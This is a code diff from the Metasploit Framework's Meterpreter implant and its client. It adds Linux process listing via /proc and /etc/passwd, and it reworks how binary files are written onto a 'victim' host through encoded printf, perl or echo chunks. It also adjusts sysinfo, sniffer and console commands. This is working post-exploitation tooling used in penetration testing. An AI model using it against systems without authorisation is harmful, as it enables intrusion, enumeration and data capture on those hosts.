+ struct info_user_list * user_list;
+
+ user_list = NULL;
+ parse_passwd_file("/etc/passwd", &user_list);
+
+ dir = opendir("/proc");
+ if(dir) {
+ while( (entry=readdir(dir) ) != NULL) {
+ memset(file_path, 0, sizeof(file_path));
+ snprintf(file_path, sizeof(file_path)-1, "/proc/%s", entry->d_name);
+ // handle only directories
+ if ( (stat(file_path, &stat_buf) != 0) || !(S_ISDIR(stat_buf.st_mode)) )
+ continue;
+ // assume it's a dir name
+ is_process_dir = 1;
+ // check if the directory name is a process dir name (ie. only digits)
+ for (i=0; i<strlen(entry->d_name); i++) {
+ if (!isdigit(entry->d_name[i])) {
+ is_process_dir = 0;
+ break;
+ }
+ }
+ if (is_process_dir) {
+ memset(file_path, 0, sizeof(file_path));
+ snprintf(file_path, sizeof(file_path)-1, "/proc/%s/status", entry->d_name);
+ fd = fopen(file_path, "rb");
+ if (!fd)
+ continue;
+ memset(file_buffer, 0, sizeof(file_buffer));
+ read = read_file(fd, file_buffer, sizeof(file_buffer));
+ parse_status(file_buffer, &info);
+ fclose(fd);
+
+
+ /* at the moment, lack support for getpwuid in bionic (defined in stub.c but excluded from compilation)
+ * so use custom code to parse /etc/passwd
+ * see parse_passwd_file above
+ */
+
+ memset(username, 0, sizeof(username));
+ if (user_list)
+ uid_to_username(user_list, info.uid, username, sizeof(username));
+ else
+ snprintf(username, sizeof(username)-1, "%d", info.uid);
+
+ memset(file_path, 0, sizeof(file_path));
+ snprintf(file_path, sizeof(file_path)-1, "/proc/%s/cmdline", entry->d_name);
+ fd = fopen(file_path, "rb");
+ if (!fd)
+ continue;
+
+ memset(process_name, 0, sizeof(process_name));
+ memset(file_buffer, 0, sizeof(file_buffer));
+ read = read_file(fd, file_buffer, sizeof(file_buffer));
+ fclose(fd);
+
+ if (info.state[0] == 'Z') { // zombie
+ snprintf(process_name, sizeof(process_name)-1, "[%s] <defunct>", info.name);
+ cmdline = NULL; // no cmdline for zombie process
+ }
+ else if (read == 0) { // kernel process
+ snprintf(process_name, sizeof(process_name)-1, "[%s]", info.name);
+ cmdline = NULL; // no cmdline for kernel process
+ }
+ else {
+ snprintf(process_name, sizeof(process_name)-1, "%s", info.name);
+ cmdline = file_buffer; // file_buffer contains the cmdline
+ for(i=0; i<read; i++)
+ if(file_buffer[i] == '\0')
+ file_buffer[i] = ' ';
+ }
+ // don't care about process arch
+ ps_addresult(response, atoi(entry->d_name), info.ppid, process_name, cmdline, username, 0);
+ // at least 1 process found, return ERROR_SUCCESS;
+ result = ERROR_SUCCESS;
+
+
+ } // end is_process_dir
+
+ } // end while readdir
+ closedir(dir);
+ }
+
+ if (user_list) {
+ if(user_list->list)
+ free(user_list->list);
+ free(user_list);
+ }
+
+ return result;
+}
+
+#endif
+
+
+/*
+ * Add the details of a process to the response.
+ */
+VOID ps_addresult( Packet * response, DWORD dwPid, DWORD dwParentPid, char * cpExeName, char * cpExePath, char * cpUserName, DWORD dwProcessArch )
+{
+ Tlv entries[7] = {0};
+ DWORD dwSessionId = 0;
+
+ do
+ {
+ if( !response )
+ break;
+
+#ifdef _WIN32
+ dwSessionId = session_id( dwPid );
+#else
+ dwSessionId = 0;
+#endif
+ dwPid = htonl( dwPid );
+ entries[0].header.type = TLV_TYPE_PID;
+ entries[0].header.length = sizeof( DWORD );
+ entries[0].buffer = (PUCHAR)&dwPid;
+
+ if( !cpExeName )
+ cpExeName = "";
+ entries[1].header.type = TLV_TYPE_PROCESS_NAME;
+ entries[1].header.length = (DWORD)strlen( cpExeName ) + 1;
+ entries[1].buffer = cpExeName;
+
+ if( !cpExePath )
+ cpExePath = "";
+ entries[2].header.type = TLV_TYPE_PROCESS_PATH;
+ entries[2].header.length = (DWORD)strlen( cpExePath ) + 1;
+ entries[2].buffer = cpExePath;
+
+ if( !cpUserName )
+ cpUserName = "";
+ entries[3].header.type = TLV_TYPE_USER_NAME;
+ entries[3].header.length = (DWORD)strlen( cpUserName ) + 1;
+ entries[3].buffer = cpUserName;
+
+ dwProcessArch = htonl( dwProcessArch );
+ entries[4].header.type = TLV_TYPE_PROCESS_ARCH;
+ entries[4].header.length = sizeof( DWORD );
+ entries[4].buffer = (PUCHAR)&dwProcessArch;
+
+ dwParentPid = htonl( dwParentPid );
+ entries[5].header.type = TLV_TYPE_PARENT_PID;
+ entries[5].header.length = sizeof( DWORD );
+ entries[5].buffer = (PUCHAR)&dwParentPid;
+
+ dwSessionId = htonl( dwSessionId );
+ entries[6].header.type = TLV_TYPE_PROCESS_SESSION;
+ entries[6].header.length = sizeof( DWORD );
+ entries[6].buffer = (PUCHAR)&dwSessionId;
+
+ packet_add_tlv_group( response, TLV_TYPE_PROCESS_GROUP, entries, 7 );
+
+ } while(0);
+
+}
View
15 external/source/meterpreter/source/extensions/stdapi/server/sys/process/ps.h
@@ -1,9 +1,12 @@
//===============================================================================================//
-#ifndef _METERPRETER_SOURCE_EXTENSION_STDAPI_STDAPI_SERVER_PROCESS_PS_H
+#ifndef _METERPRETER_SOURCE_EXTENSION_STDAPI_STDAPI_SERVER_PROCESS_PS_H
#define _METERPRETER_SOURCE_EXTENSION_STDAPI_STDAPI_SERVER_PROCESS_PS_H
//===============================================================================================//
-#ifdef _WIN32
-
+
+VOID ps_addresult( Packet * response, DWORD dwPid, DWORD dwParentPid, char * cpExeName, char * cpExePath, char * cpUserName, DWORD dwProcessArch );
+
+#ifdef _WIN32
+
typedef DWORD (WINAPI * GETMODULEFILENAMEEXA)( HANDLE hProcess, HMODULE hModule, LPTSTR lpExeName, DWORD dwSize );
typedef DWORD (WINAPI * GETPROCESSIMAGEFILENAMEA)( HANDLE hProcess, LPTSTR lpExeName, DWORD dwSize );
@@ -77,7 +80,11 @@ DWORD ps_list_via_psapi( Packet * response );
DWORD ps_list_via_brute( Packet * response );
+
+
//===============================================================================================//
+#else // linux
+DWORD ps_list_linux( Packet * response );
#endif // _WIN32
#endif
-//===============================================================================================//
+//===============================================================================================//
View
3  external/source/meterpreter/source/server/linux/netlink.c
@@ -836,8 +836,9 @@ void address_calculate_netmask(struct iface_address *address, int ifa_prefixlen)
if (address->family == AF_INET6) {
// if netmask is FFFFFFFF FFFFFFFF 00000000 00000000 (/64), netmask6.a1 and netmask6.a2 == 0xffffffff, and nestmask6.a3 and .a4 == 0
- // netmask6 is set to 0 at the beginning of the function, no need to reset the values to 0 if it is needed
+ // netmask6 is no longer set to 0 at the beginning of the function, need to reset the values to 0
// XXX really ugly, but works
+ memset(&address->nm.netmask6, 0, sizeof(__u128));
if (ifa_prefixlen >= 96) {
address->nm.netmask6.a4 = (1 << (ifa_prefixlen-96))-1;
address->nm.netmask6.a1 = address->nm.netmask6.a2 = address->nm.netmask6.a3 = 0xffffffff;
View
10 external/source/meterpreter/source/server/posix/remote_dispatch.c
@@ -1,6 +1,7 @@
#include <dlfcn.h>
#include "metsrv.h"
+extern Command *extension_commands;
DWORD
request_core_loadlib(Remote *remote, Packet *packet)
@@ -12,7 +13,9 @@ request_core_loadlib(Remote *remote, Packet *packet)
DWORD flags = 0;
PCHAR targetPath;
int local_error = 0;
-
+ Command *command;
+ Command *first = extension_commands;
+
do
{
Tlv dataTlv;
@@ -64,6 +67,11 @@ request_core_loadlib(Remote *remote, Packet *packet)
dprintf("calling InitServerExtension");
res = init(remote);
}
+ if (response) {
+ for (command = extension_commands; command != first; command = command->next) {
+ packet_add_tlv_string(response, TLV_TYPE_METHOD, command->method);
+ }
+ }
}
} while (0);
View
10 external/source/meterpreter/source/server/win/remote_dispatch.c
@@ -5,6 +5,8 @@ extern HINSTANCE hAppInstance;
// see remote_dispatch_common.c
extern LIST * extension_list;
+// see common/base.c
+extern Command *extension_commands;
DWORD request_core_loadlib(Remote *remote, Packet *packet)
{
@@ -15,6 +17,9 @@ DWORD request_core_loadlib(Remote *remote, Packet *packet)
DWORD flags = 0;
BOOL bLibLoadedReflectivly = FALSE;
+ Command *first = extension_commands;
+ Command *command;
+
do
{
libraryPath = packet_get_tlv_value_string(packet,
@@ -124,6 +129,11 @@ DWORD request_core_loadlib(Remote *remote, Packet *packet)
free( extension );
}
dprintf("[SERVER] Called init()...");
+ if (response) {
+ for (command = extension_commands; command != first; command = command->next) {
+ packet_add_tlv_string(response, TLV_TYPE_METHOD, command->method);
+ }
+ }
}
}
View
1  external/source/meterpreter/workspace/ext_server_stdapi/Makefile
@@ -39,6 +39,7 @@ objects = \
server/sys/config/config.o \
server/sys/process/linux-in-mem-exe.o \
server/sys/process/process.o \
+ server/sys/process/ps.o \
all: ext_server_stdapi.so
View
116 lib/msf/core/post/file.rb
@@ -212,7 +212,7 @@ def _read_file_meterpreter(file_name)
return nil
end
- data = ''
+ data = fd.read
begin
until fd.eof?
data << fd.read
@@ -247,77 +247,83 @@ def _write_file_unix_shell(file_name, data, append=false)
chunks = []
command = nil
+ encoding = :hex
line_max = _unix_max_line_length
# Leave plenty of room for the filename we're writing to and the
# command to echo it out
line_max -= file_name.length - 64
- # Default to simple echo. If the data is binary, though, we have to do
- # something fancy
- if d =~ /[^[:print:]]/
- # Ordered by descending likeliness to work
- [
- %q^perl -e 'print("\x41")'^,
- # POSIX awk doesn't have \xNN escapes, use gawk to ensure we're
- # getting the GNU version.
- %q^gawk 'BEGIN {ORS = ""; print "\x41"}' </dev/null^,
- # bash and zsh's echo builtins are apparently the only ones
- # that support both -e and -n as we need them. Most others
- # treat all options as just more arguments to print. In
- # particular, the standalone /bin/echo or /usr/bin/echo appear
- # never to have -e so don't bother trying them.
- %q^echo -ne '\x41'^,
- # printf seems to have different behavior on bash vs sh vs
- # other shells, try a full path (and hope it's the actual path)
- %q^/usr/bin/printf '\x41'^,
- %q^printf '\x41'^,
- ].each { |c|
- a = session.shell_command_token("#{c}")
- if "A" == a
- command = c
- break
- #else
- # p a
- end
- }
-
- if command.nil?
- raise RuntimeError, "Can't find command on the victim for writing binary data", caller
+ # Ordered by descending likeliness to work
+ [
+ # POSIX standard requires %b which expands octal (but not hex)
+ # escapes in the argument. However, some versions truncate input on
+ # nulls, so "printf %b '\0\101'" produces a 0-length string. The
+ # standalon version seems to be more likely to work than the buitin
+ # version, so try it first
+ { :cmd => %q^/usr/bin/printf %b 'CONTENTS'^ , :enc => :octal },
+ { :cmd => %q^printf %b 'CONTENTS'^ , :enc => :octal },
+ # Perl supports both octal and hex escapes, but octal is usually
+ # shorter (e.g. 0 becomes \0 instead of \x00)
+ { :cmd => %q^perl -e 'print("CONTENTS")'^ , :enc => :octal },
+ # POSIX awk doesn't have \xNN escapes, use gawk to ensure we're
+ # getting the GNU version.
+ { :cmd => %q^gawk 'BEGIN {ORS = ""; print "CONTENTS"}' </dev/null^ , :enc => :hex },
+ # Use echo as a last resort since it frequently doesn't support -e
+ # or -n. bash and zsh's echo builtins are apparently the only ones
+ # that support both. Most others treat all options as just more
+ # arguments to print. In particular, the standalone /bin/echo or
+ # /usr/bin/echo appear never to have -e so don't bother trying
+ # them.
+ { :cmd => %q^echo -ne 'CONTENTS'^ , :enc => :hex },
+ ].each { |foo|
+ # Some versions of printf mangle %.
+ test_str = "\0\xff\xfeABCD\x7f%%\r\n"
+ if foo[:enc] == :hex
+ cmd = foo[:cmd].sub("CONTENTS"){ Rex::Text.to_hex(test_str) }
+ else
+ cmd = foo[:cmd].sub("CONTENTS"){ Rex::Text.to_octal(test_str) }
+ end
+ a = session.shell_command_token("#{cmd}")
+ if test_str == a
+ command = foo[:cmd]
+ encoding = foo[:enc]
+ break
+ else
+ p a
end
+ }
+
+ if command.nil?
+ raise RuntimeError, "Can't find command on the victim for writing binary data", caller
+ end
- # each byte will balloon up to 4 when we hex encode
- max = line_max/4
- i = 0
- while (i < d.length)
+ # each byte will balloon up to 4 when we encode
+ # (A becomes \x41 or \101)
+ max = line_max/4
+
+ i = 0
+ while (i < d.length)
+ if encoding == :hex
chunks << Rex::Text.to_hex(d.slice(i...(i+max)))
- i += max
- end
- else
- i = 0
- while (i < d.length)
- chunk = d.slice(i...(i+line_max))
- # POSIX standard says single quotes cannot appear inside single
- # quotes and can't be escaped. Replace them with an equivalent.
- # (Close single quotes, open double quotes containing a single
- # quote, re-open single qutoes)
- chunk.gsub!("'", %q|'"'"'|)
- chunks << chunk
- i += line_max
+ else
+ chunks << Rex::Text.to_octal(d.slice(i...(i+max)))
end
- command = "echo -n '\\x41'"
+ i += max
end
- vprint_status("Writing #{d.length} bytes in #{chunks.length} chunks, using #{command.split(" ",2).first}")
+
+ vprint_status("Writing #{d.length} bytes in #{chunks.length} chunks of #{chunks.first.length} bytes (#{encoding}-encoded), using #{command.split(" ",2).first}")
# The first command needs to use the provided redirection for either
# appending or truncating.
- cmd = command.sub("\\x41", chunks.shift)
+ cmd = command.sub("CONTENTS") { chunks.shift }
session.shell_command_token("#{cmd} #{redirect} '#{file_name}'")
# After creating/truncating or appending with the first command, we
# need to append from here on out.
chunks.each { |chunk|
- cmd = command.sub("\\x41", chunk)
+ vprint_status("Next chunk is #{chunk.length} bytes")
+ cmd = command.sub("CONTENTS") { chunk }
session.shell_command_token("#{cmd} >> '#{file_name}'")
}
@@ -336,7 +342,11 @@ def _unix_max_line_length
i=`expr $i + 1`; str=$str$str;\
done; echo $max'
line_max = session.shell_command_token(calc_line_max).to_i
+
+ # Fall back to a conservative 4k which should work on even the most
+ # restrictive of embedded shells.
line_max = (line_max == 0 ? 4096 : line_max)
+ vprint_status("Max line length is #{line_max}")
line_max
end
View
203 lib/msf/core/post/linux/system.rb
@@ -6,145 +6,92 @@ class Post
module Linux
module System
include ::Msf::Post::Common
- include ::Msf::Post::File
-
- # Returns a Hash containing Distribution Name, Version and Kernel Information
- def get_sysinfo
- system_data = {}
- etc_files = cmd_exec("ls /etc").split()
-
- # Debian
- if etc_files.include?("debian_version")
- kernel_version = cmd_exec("uname -a")
- if kernel_version =~ /Ubuntu/
- version = read_file("/etc/issue").gsub(/\n|\\n|\\l/,'')
- system_data[:distro] = "ubuntu"
- system_data[:version] = version
- system_data[:kernel] = kernel_version
- else
- version = read_file("/etc/issue").gsub(/\n|\\n|\\l/,'')
- system_data[:distro] = "debian"
- system_data[:version] = version
- system_data[:kernel] = kernel_version
- end
-
- # Amazon
- elsif etc_files.include?("system-release")
- kernel_version = cmd_exec("uname -a")
- version = read_file("/etc/system-release").gsub(/\n|\\n|\\l/,'')
- system_data[:distro] = "amazon"
- system_data[:version] = version
- system_data[:kernel] = kernel_version
-
- # Fedora
- elsif etc_files.include?("fedora-release")
- kernel_version = cmd_exec("uname -a")
- version = read_file("/etc/fedora-release").gsub(/\n|\\n|\\l/,'')
- system_data[:distro] = "fedora"
- system_data[:version] = version
- system_data[:kernel] = kernel_version
-
- # Oracle Linux
- elsif etc_files.include?("enterprise-release")
- kernel_version = cmd_exec("uname -a")
- version = read_file("/etc/enterprise-release").gsub(/\n|\\n|\\l/,'')
- system_data[:distro] = "oracle"
- system_data[:version] = version
- system_data[:kernel] = kernel_version
+ include ::Msf::Post::File
- # RedHat
- elsif etc_files.include?("redhat-release")
- kernel_version = cmd_exec("uname -a")
- version = read_file("/etc/redhat-release").gsub(/\n|\\n|\\l/,'')
- system_data[:distro] = "redhat"
- system_data[:version] = version
- system_data[:kernel] = kernel_version
+ include ::Msf::Post::Unix
- # Arch
- elsif etc_files.include?("arch-release")
- kernel_version = cmd_exec("uname -a")
- version = read_file("/etc/arch-release").gsub(/\n|\\n|\\l/,'')
- system_data[:distro] = "arch"
- system_data[:version] = version
- system_data[:kernel] = kernel_version
+ # Returns a Hash containing Distribution Name, Version and Kernel Information
+ def get_sysinfo
+ system_data = {}
+ etc_files = cmd_exec("ls /etc").split()
- # Slackware
- elsif etc_files.include?("slackware-version")
- kernel_version = cmd_exec("uname -a")
- version = read_file("/etc/slackware-version").gsub(/\n|\\n|\\l/,'')
- system_data[:distro] = "slackware"
- system_data[:version] = version
- system_data[:kernel] = kernel_version
-
- # Mandrake
- elsif etc_files.include?("mandrake-release")
- kernel_version = cmd_exec("uname -a")
- version = read_file("/etc/mandrake-release").gsub(/\n|\\n|\\l/,'')
- system_data[:distro] = "mandrake"
- system_data[:version] = version
- system_data[:kernel] = kernel_version
+ kernel_version = cmd_exec("uname -a")
+ system_data[:kernel] = kernel_version
- #SuSE
- elsif etc_files.include?("SuSE-release")
- kernel_version = cmd_exec("uname -a")
- version = read_file("/etc/SuSE-release").gsub(/\n|\\n|\\l/,'')
- system_data[:distro] = "suse"
- system_data[:version] = version
- system_data[:kernel] = kernel_version
-
- # Gentoo
- elsif etc_files.include?("gentoo-release")
- kernel_version = cmd_exec("uname -a")
- version = read_file("/etc/gentoo-release").gsub(/\n|\\n|\\l/,'')
- system_data[:distro] = "gentoo"
+ # Debian
+ if etc_files.include?("debian_version")
+ if kernel_version =~ /Ubuntu/
+ version = read_file("/etc/issue").gsub(/\n|\\n|\\l/,'')
+ system_data[:distro] = "ubuntu"
system_data[:version] = version
- system_data[:kernel] = kernel_version
else
-
- # Others
- kernel_version = cmd_exec("uname -a")
version = read_file("/etc/issue").gsub(/\n|\\n|\\l/,'')
- system_data[:distro] = "linux"
+ system_data[:distro] = "debian"
system_data[:version] = version
- system_data[:kernel] = kernel_version
end
- return system_data
- end
- # Returns an array of hashes each representing a user
- # Keys are name, uid, gid, info, dir and shell
- def get_users
- users = []
- cmd_out = cmd_exec("cat /etc/passwd").split("\n")
- cmd_out.each do |l|
- entry = {}
- user_field = l.split(":")
- entry[:name] = user_field[0]
- entry[:uid] = user_field[2]
- entry[:gid] = user_field[3]
- entry[:info] = user_field[4]
- entry[:dir] = user_field[5]
- entry[:shell] = user_field[6]
- users << entry
- end
- return users
- end
-
- # Returns an array of hashes each hash representing a user group
- # Keys are name, gid and users
- def get_groups
- groups = []
- cmd_out = cmd_exec("cat /etc/group").split("\n")
- cmd_out.each do |l|
- entry = {}
- user_field = l.split(":")
- entry[:name] = user_field[0]
- entry[:gid] = user_field[2]
- entry[:users] = user_field[3]
- groups << entry
- end
- return groups
+ # Amazon
+ elsif etc_files.include?("system-release")
+ version = read_file("/etc/system-release").gsub(/\n|\\n|\\l/,'')
+ system_data[:distro] = "amazon"
+ system_data[:version] = version
+
+ # Fedora
+ elsif etc_files.include?("fedora-release")
+ version = read_file("/etc/fedora-release").gsub(/\n|\\n|\\l/,'')
+ system_data[:distro] = "fedora"
+ system_data[:version] = version
+
+ # Oracle Linux
+ elsif etc_files.include?("enterprise-release")
+ version = read_file("/etc/enterprise-release").gsub(/\n|\\n|\\l/,'')
+ system_data[:distro] = "oracle"
+ system_data[:version] = version
+
+ # RedHat
+ elsif etc_files.include?("redhat-release")
+ version = read_file("/etc/redhat-release").gsub(/\n|\\n|\\l/,'')
+ system_data[:distro] = "redhat"
+ system_data[:version] = version
+
+ # Arch
+ elsif etc_files.include?("arch-release")
+ version = read_file("/etc/arch-release").gsub(/\n|\\n|\\l/,'')
+ system_data[:distro] = "arch"
+ system_data[:version] = version
+
+ # Slackware
+ elsif etc_files.include?("slackware-version")
+ version = read_file("/etc/slackware-version").gsub(/\n|\\n|\\l/,'')
+ system_data[:distro] = "slackware"
+ system_data[:version] = version
+
+ # Mandrake
+ elsif etc_files.include?("mandrake-release")
+ version = read_file("/etc/mandrake-release").gsub(/\n|\\n|\\l/,'')
+ system_data[:distro] = "mandrake"
+ system_data[:version] = version
+
+ #SuSE
+ elsif etc_files.include?("SuSE-release")
+ version = read_file("/etc/SuSE-release").gsub(/\n|\\n|\\l/,'')
+ system_data[:distro] = "suse"
+ system_data[:version] = version
+
+ # Gentoo
+ elsif etc_files.include?("gentoo-release")
+ version = read_file("/etc/gentoo-release").gsub(/\n|\\n|\\l/,'')
+ system_data[:distro] = "gentoo"
+ system_data[:version] = version
+ else
+
+ # Others
+ version = read_file("/etc/issue").gsub(/\n|\\n|\\l/,'')
+ system_data[:distro] = "linux"
+ system_data[:version] = version
end
+ return system_data
+ end
end # System
View
62 lib/msf/core/post/solaris/system.rb
@@ -1,59 +1,29 @@
require 'msf/core/post/common'
require 'msf/core/post/file'
+require 'msf/core/post/unix'
module Msf
class Post
module Solaris
module System
include ::Msf::Post::Common
- include ::Msf::Post::File
+ include ::Msf::Post::File
- # Returns a Hash containing Distribution Name, Version and Kernel Information
- def get_sysinfo
- system_data = {}
- kernel_version = cmd_exec("uname -a")
- version = read_file("/etc/release").split("\n")[0].strip
- system_data[:version] = version
- system_data[:kernel] = kernel_version
- system_data[:hostname] = kernel_version.split(" ")[1]
- return system_data
- end
-
- # Returns an array of hashes each representing a user
- # Keys are name, uid, gid, info, dir and shell
- def get_users
- users = []
- cmd_out = cmd_exec("cat /etc/passwd").split("\n")
- cmd_out.each do |l|
- entry = {}
- user_field = l.split(":")
- entry[:name] = user_field[0]
- entry[:uid] = user_field[2]
- entry[:gid] = user_field[3]
- entry[:info] = user_field[4]
- entry[:dir] = user_field[5]
- entry[:shell] = user_field[6]
- users << entry
- end
- return users
- end
-
- # Returns an array of hashes each hash representing a user group
- # Keys are name, gid and users
- def get_groups
- groups = []
- cmd_out = cmd_exec("cat /etc/group").split("\n")
- cmd_out.each do |l|
- entry = {}
- user_field = l.split(":")
- entry[:name] = user_field[0]
- entry[:gid] = user_field[2]
- entry[:users] = user_field[3]
- groups << entry
- end
- return groups
- end
+ include ::Msf::Post::Unix
+ #
+ # Returns a Hash containing Distribution Name, Version and Kernel
+ # Information
+ #
+ def get_sysinfo
+ system_data = {}
+ kernel_version = cmd_exec("uname -a")
+ version = read_file("/etc/release").split("\n")[0].strip
+ system_data[:version] = version
+ system_data[:kernel] = kernel_version
+ system_data[:hostname] = kernel_version.split(" ")[1]
+ return system_data
+ end
end # System
end # Solaris
View
23 lib/rex/post/meterpreter/client.rb
@@ -104,6 +104,7 @@ def init_meterpreter(sock,opts={})
self.alive = true
self.target_id = opts[:target_id]
self.capabilities = opts[:capabilities] || {}
+ self.commands = []
self.conn_id = opts[:conn_id]
@@ -281,6 +282,7 @@ def Client.default_timeout
# if a matching extension alias exists for the supplied symbol.
#
def method_missing(symbol, *args)
+ #$stdout.puts("method_missing: #{symbol}")
self.ext_aliases.aliases[symbol.to_s]
end
@@ -294,7 +296,9 @@ def method_missing(symbol, *args)
# Loads the client half of the supplied extension and initializes it as a
# registered extension that can be reached through client.ext.[extension].
#
- def add_extension(name)
+ def add_extension(name, commands=[])
+ self.commands |= commands
+
# Check to see if this extension has already been loaded.
if ((klass = self.class.check_ext_hash(name.downcase)) == nil)
old = Rex::Post::Meterpreter::Extensions.constants
@@ -341,6 +345,18 @@ def each_extension(&block)
#
def register_extension_alias(name, ext)
self.ext_aliases.aliases[name] = ext
+ # Whee! Syntactic sugar, where art thou?
+ #
+ # Create an instance method on this object called +name+ that returns
+ # +ext+. We have to do it this way instead of simply
+ # self.class.class_eval so that other meterpreter sessions don't get
+ # extension methods when this one does
+ (class << self; self; end).class_eval do
+ define_method(name.to_sym) do
+ ext
+ end
+ end
+ ext
end
#
@@ -445,10 +461,15 @@ def unicode_filter_decode(str)
# Flag indicating whether to hex-encode UTF-8 file names and other strings
#
attr_accessor :encode_unicode
+ #
+ # A list of the commands
+ #
+ attr_reader :commands
protected
attr_accessor :parser, :ext_aliases # :nodoc:
attr_writer :ext, :sock # :nodoc:
+ attr_writer :commands # :nodoc:
end
end; end; end
View
14 lib/rex/post/meterpreter/client_core.rb
@@ -121,7 +121,12 @@ def load_library(opts)
raise RuntimeError, "The core_loadlib request failed with result: #{response.result}.", caller
end
- return true
+ commands = []
+ response.each(TLV_TYPE_METHOD) { |c|
+ commands << c.value
+ }
+
+ return commands
end
#
@@ -150,13 +155,12 @@ def use(mod, opts = { })
path = ::File.expand_path(path)
# Load the extension DLL
- if (load_library(
+ commands = load_library(
'LibraryFilePath' => path,
'UploadLibrary' => true,
'Extension' => true,
- 'SaveToDisk' => opts['LoadFromDisk']))
- client.add_extension(mod)
- end
+ 'SaveToDisk' => opts['LoadFromDisk'])
+ client.add_extension(mod, commands)
return true
end
View
21 lib/rex/post/meterpreter/extensions/sniffer/sniffer.rb
@@ -22,7 +22,7 @@ def initialize(client)
client.register_extension_aliases(
[
- {
+ {
'name' => 'sniffer',
'ext' => self
},
@@ -42,19 +42,19 @@ def interfaces()
ikeys = %W{idx name description type mtu wireless usable dhcp}
ikeys.each_index { |i| iface[ikeys[i]] = vals[i] }
ifaces << iface
- }
+ }
return ifaces
end
-
+
# Start a packet capture on an opened interface
def capture_start(intf,maxp=200000,filter="")
request = Packet.create_request('sniffer_capture_start')
request.add_tlv(TLV_TYPE_SNIFFER_INTERFACE_ID, intf.to_i)
request.add_tlv(TLV_TYPE_SNIFFER_PACKET_COUNT, maxp.to_i)
request.add_tlv(TLV_TYPE_SNIFFER_ADDITIONAL_FILTER, filter) if filter.length > 0
- response = client.send_request(request)
+ response = client.send_request(request)
end
-
+
# Stop an active packet capture
def capture_stop(intf)
request = Packet.create_request('sniffer_capture_stop')
@@ -65,7 +65,7 @@ def capture_stop(intf)
:bytes => response.get_tlv_value(TLV_TYPE_SNIFFER_BYTE_COUNT),
}
end
-
+
# Retrieve stats about a current capture
def capture_stats(intf)
request = Packet.create_request('sniffer_capture_stats')
@@ -87,7 +87,7 @@ def capture_release(intf)
:bytes => response.get_tlv_value(TLV_TYPE_SNIFFER_BYTE_COUNT),
}
end
-
+
# Buffer the current capture to a readable buffer
def capture_dump(intf)
request = Packet.create_request('sniffer_capture_dump')
@@ -96,21 +96,22 @@ def capture_dump(intf)
{
:packets => response.get_tlv_value(TLV_TYPE_SNIFFER_PACKET_COUNT),
:bytes => response.get_tlv_value(TLV_TYPE_SNIFFER_BYTE_COUNT),
+ :linktype => response.get_tlv_value(TLV_TYPE_SNIFFER_INTERFACE_ID),
}
end
-
+
# Retrieve the packet data for the specified capture
def capture_dump_read(intf, len=16384)
request = Packet.create_request('sniffer_capture_dump_read')
request.add_tlv(TLV_TYPE_SNIFFER_INTERFACE_ID, intf.to_i)
- request.add_tlv(TLV_TYPE_SNIFFER_BYTE_COUNT, len.to_i)
+ request.add_tlv(TLV_TYPE_SNIFFER_BYTE_COUNT, len.to_i)
response = client.send_request(request, 3600)
{
:bytes => response.get_tlv_value(TLV_TYPE_SNIFFER_BYTE_COUNT),
:data => response.get_tlv_value(TLV_TYPE_SNIFFER_PACKET)
}
end
-
+
end
end; end; end; end; end
View
46 lib/rex/post/meterpreter/extensions/stdapi/sys/process.rb
@@ -212,12 +212,12 @@ def Process.each_process(&block)
end
#
- # Returns an array of processes with hash objects that have
- # keys for 'pid', 'parentid', 'name', 'path', 'user' and 'arch'.
+ # Returns a ProcessList of processes as Hash objects with keys for 'pid',
+ # 'ppid', 'name', 'path', 'user', 'session' and 'arch'.
#
def Process.get_processes
request = Packet.create_request('stdapi_sys_process_get_processes')
- processes = []
+ processes = ProcessList.new
response = client.send_request(request)
@@ -236,7 +236,7 @@ def Process.get_processes
processes <<
{
'pid' => p.get_tlv_value(TLV_TYPE_PID),
- 'parentid' => p.get_tlv_value(TLV_TYPE_PARENT_PID),
+ 'ppid' => p.get_tlv_value(TLV_TYPE_PARENT_PID),
'name' => client.unicode_filter_encode( p.get_tlv_value(TLV_TYPE_PROCESS_NAME) ),
'path' => client.unicode_filter_encode( p.get_tlv_value(TLV_TYPE_PROCESS_PATH) ),
'session' => p.get_tlv_value(TLV_TYPE_PROCESS_SESSION),
@@ -366,5 +366,43 @@ def get_info
end
+#
+# Simple wrapper class for storing processes
+#
+class ProcessList < Array
+
+ #
+ # Create a Rex::Ui::Text::Table out of the processes stored in this list
+ #
+ # +opts+ is passed on to Rex::Ui::Text::Table.new, mostly unmolested
+ #
+ # Note that this output is affected by Rex::Post::Meterpreter::Client#unicode_filter_encode
+ #
+ def to_table(opts={})
+ if empty?
+ return Rex::Ui::Text::Table.new(opts)
+ end
+
+ cols = [ "PID", "PPID", "Name", "Arch", "Session", "User", "Path" ]
+ # Arch and Session are specific to native Windows, PHP and Java can't do
+ # ppid. Cut columns from the list if they aren't there. It is conceivable
+ # that processes might have different columns, but for now assume that the
+ # first one is representative.
+ cols.delete_if { |c| !( first.has_key?(c.downcase) ) or first[c.downcase].nil? }
+
+ opts = {
+ "Header" => "Process List",
+ "Columns" => cols
+ }.merge(opts)
+
+ tbl = Rex::Ui::Text::Table.new(opts)
+ each { |process|
+ tbl << cols.map {|c| process[c.downcase] }.compact
+ }
+
+ tbl
+ end
+end
+
end; end; end; end; end; end
View
10 lib/rex/post/meterpreter/ui/console/command_dispatcher/core.rb
@@ -43,11 +43,9 @@ def commands
"close" => "Closes a channel",
"channel" => "Displays information about active channels",
"exit" => "Terminate the meterpreter session",
- "detach" => "Detach the meterpreter session (for http/https)",
"help" => "Help menu",
"interact" => "Interacts with a channel",
"irb" => "Drop into irb scripting mode",
- "migrate" => "Migrate the server to another process",
"use" => "Deprecated alias for 'load'",
"load" => "Load one or more meterpreter extensions",
"quit" => "Terminate the meterpreter session",
@@ -61,6 +59,14 @@ def commands
"enable_unicode_encoding" => "Enables encoding of unicode strings",
"disable_unicode_encoding" => "Disables encoding of unicode strings"
}
+
+ if client.passive_service
+ c["detach"] = "Detach the meterpreter session (for http/https)"
+ end
+ if client.commands.include? "core_migrate"
+ c["migrate"] = "Migrate the server to another process"
+ end
+
if (msf_loaded?)
c["info"] = "Displays information about a Post module"
end
View
4 lib/rex/post/meterpreter/ui/console/command_dispatcher/sniffer.rb
@@ -132,7 +132,7 @@ def cmd_sniffer_dump(*args)
bytes_all = res[:bytes] || 0
bytes_got = 0
bytes_pct = 0
-
+ linktype = res[:linktype]
while (bytes_all > 0)
res = client.sniffer.capture_dump_read(intf,1024*512)
@@ -156,7 +156,7 @@ def cmd_sniffer_dump(*args)
fd = ::File.new(path_cap, 'ab+')
else
